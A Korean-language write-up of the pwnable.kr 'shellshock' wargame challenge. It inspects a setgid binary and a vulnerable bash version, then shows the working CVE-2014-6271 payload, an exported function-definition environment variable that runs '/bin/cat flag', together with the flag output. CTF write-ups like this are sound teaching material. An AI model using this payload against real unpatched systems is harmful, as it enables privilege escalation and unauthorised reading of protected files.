[pwnable.kr] shellshock

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)

ssh shellshock@pwnable.kr -p2222 (pw:guest)

문제에서는 bash에 관련된 뉴스를 언급하고 있다.

```
shellshock@pwnable:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock     959120 Oct 12  2014 bash
-r--r----- 1 root shellshock_pwn     47 Oct 12  2014 flag
-r-xr-sr-x 1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r--r-- 1 root root              188 Oct 12  2014 shellshock.c
shellshock@pwnable:~$ cat shellshock.c
#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}
```

문제에 주어진 주소로 접속하여 현재 directory에 있는 파일들을 보면 bash, flag, shellshock, shellshock.c 파일을 확인할 수 있다. flag를 읽으려면 root나 shellshock_pwn의 권한이 있어야 하는데, shellshock가 shellshock_pwn 권한을 가지고 있으므로 이를 이용하여 flag의 내용을 알아낼 수 있다. shellshock.c 파일을 읽어보면 setresuid와 setresgid 함수로 권한을 얻고, 현재 directory의 bash로 shock_me를 출력하는 것을 알 수 있다.

```
shellshock@pwnable:~$ bash --version
GNU bash, version 4.3.48(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
shellshock@pwnable:~$ ./bash --version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
```

현재 directory의 bash가 shell shock 취약점에 영향 받는 version이다.

```
shellshock@pwnable:~$ export shock='() { echo shock; }; /bin/cat flag'
shellshock@pwnable:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)
```

이전의 단서들을 통해 위와 같은 환경변수를 설정한 후에 shellshock 파일을 실행하면 환경변수의 함수 뒤에 있는 /bin/cat flag 명령어가 실행되어 flag 파일을 읽어와 문제의 flag를 구해낼 수 있다.